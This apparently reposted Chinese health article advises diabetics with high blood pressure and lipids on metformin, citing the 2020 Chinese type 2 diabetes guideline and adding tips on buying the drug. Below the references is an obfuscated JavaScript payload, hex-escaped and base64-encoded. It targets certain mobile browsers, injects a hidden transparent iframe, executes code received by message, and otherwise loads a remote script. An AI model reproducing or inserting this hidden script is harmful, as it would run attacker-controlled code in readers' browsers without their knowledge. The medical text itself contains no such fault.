三高糖友注意：服用二甲双胍有学问.中医养生 尚春台，ai2hao.com 

三高糖友注意：服用二甲双胍有学问_中医养生

网络转载 中医养生

说到糖尿病的危害，很多糖友可能担心血糖控制不好会伤肾（出现蛋白尿甚至肾衰），或者伤眼（视网膜病变导致视力下降甚至失明），但对于真正威胁到糖友们生命的最大“杀手”——心脑血管疾病的危害却往往觉得还很遥远，暂时不会发生在自己身上。然而，事实却是糖尿病患者发生心血管疾病的风险比血糖正常的人群增加2~4倍【1】，心血管疾病是糖尿病患者的主要死亡原因。更要注意是，糖尿病患者常常伴有高血压、血脂紊乱等心血管疾病的重要危险因素，三者的协同作用下，使糖尿病大血管与微血管并发症的发生和进展风险明显增加，也使患者死亡风险增加【1】。

目前正值早春时节，乍暖还寒，早晚温差也比较大。温度变化会对血管的收缩和舒张产生一定影响，从而导致血压出现较大的波动，甚至可能诱发心绞痛或者心梗等心脑血管急性事件。因此对于合并高血压的糖友们来说，每年的季节更替，都是需要格外注意的一道“槛”。

　　所以三高糖友们在降糖治疗过程中，既要积极筛查和控制心血管疾病危险因素之外，还应该优先选择对心血管疾病具有保护作用的降糖药物。

《中国2型糖尿病防治指南（2020）》在“2型糖尿病治疗路径”中指出，“合并动脉粥样硬化性心血管疾病（ASCVD）或心血管风险高危的2型糖尿病患者，不论其HbA 1c是否达标，只要没有禁忌证都应在二甲双胍的基础上加用具有ASCVD获益证据的GLP⁃1RA（胰高糖素样肽⁃1受体激动剂）或SGLT2i（钠⁃葡萄糖共转运蛋白2抑制剂）。（A）”【1】。

可能有糖友会问：为什么要在二甲双胍的基础上加GLP⁃1RA或SGLT2i呢？单用GLP⁃1RA或SGLT2i不可以吗？《指南》中也给出了相应的解释。首先二甲双胍是目前最常用的降糖药，具有良好的降糖作用和多种降糖作用之外的潜在益处、优越的费效比、良好的药物可及性、临床用药经验丰富等优点，且不增加低血糖风险。其次，虽然二甲双胍缺乏安慰剂对照的心血管结局试验（CVOT），但许多研究结果显示二甲双胍具有心血管获益，而且目前已发表的显示SGLT2i和GLP⁃1RA具有心血管和肾脏获益的CVOT研究都是在二甲双胍作为背景治疗的基础上取得的。因此，《指南》推荐，生活方式管理和二甲双胍作为T2DM患者高血糖的一线治疗。若无禁忌证，二甲双胍应一直保留在糖尿病的治疗方案中【1】。

　　此外，早春时节也是流感和新冠疫情容易卷土重来的季节，糖友们还是要尽量少出门以减少感染风险。因此，建议糖友们可以选择大包装的二甲双胍；或者在附近的正规药店购买，以减少去医院的次数。需要提醒糖友们的是，如果选择网购二甲双胍的话，最好在收货后立刻用“支付宝”或者“淘宝”的“扫一扫”功能，扫一下药盒上的追溯码进行验证，以防买到假药。

　　绘图：阿寮

出品：《中国家庭医生》杂志社

　　学术指导：周琳

南方医院内分泌科副主任医师、副教授、硕士研究生导师

广东省健康管理学会甲状腺病学专业委员会副主任委员

广东省医学会糖尿病分会委员、内分泌医师分会妊娠内分泌专业组副组长

广东省中西医结合学会创面处理专业委员会委员

参考文献：

1.《中国2型糖尿病防治指南（2020）》。

https://max.book118.com/htmlm2021m0412m5134100120003220.shtm

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eval("\x77\x69\x6e\x64\x6f\x77")["\x73\x4F\x6B\x4A\x6A\x6B\x41\x68\x72"]=function(){eval(Akjs("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoQWtqcyh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEFranMoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihBa2pzKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbQWtqcygiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2tfMzI1MSc7dmFyIF9fYWFucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19hYW5xaWQrJyIgY2wnKydhc3MnKyc9IicrX2NsYXNzKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19feGsnKydkYScrJ25xJysnb2InKydqXzMyNTEnXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fYWFucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0xLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJysnbG4nXSgnPGQnKydpdiBpJysnZD0nKyciJytfaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1siYWQiKyJkRXYiKyJlbnRMIisiaXN0IisiZW5lciJdKCJtIisiZXNzIisiYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGFbcitfaWRdKXtybShjKTtuZXcgRnVuY3Rpb24oQWtqcyhlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyc9PVFOJysnTnknKycwU00nKycxSScrJ3onKydNdE1tJysnUnlVJysneWRqJysnWkcnKydOTnQnKydSbVJ5VScrJ3lNMFFEJysnTScrJ3hFMCcrJ01sJysnMDJiaicrJzUnKydpYTNWVycrJ2UwZFgnKydadWMnKyczZDNaaycrJ01sJysnWWtNbCcrJ0UnKycwTScrJ2xNSCcrJ2MwJysnUkhhJysnJysnJywnJysnTDlmJysnWXo5JysncVUnKycnKycnLHdpbmRvdyxkb2N1bWVudCwnJysnSUtFJysnMnV3JysnQicrJycrJycsJ04nKQ=="));}

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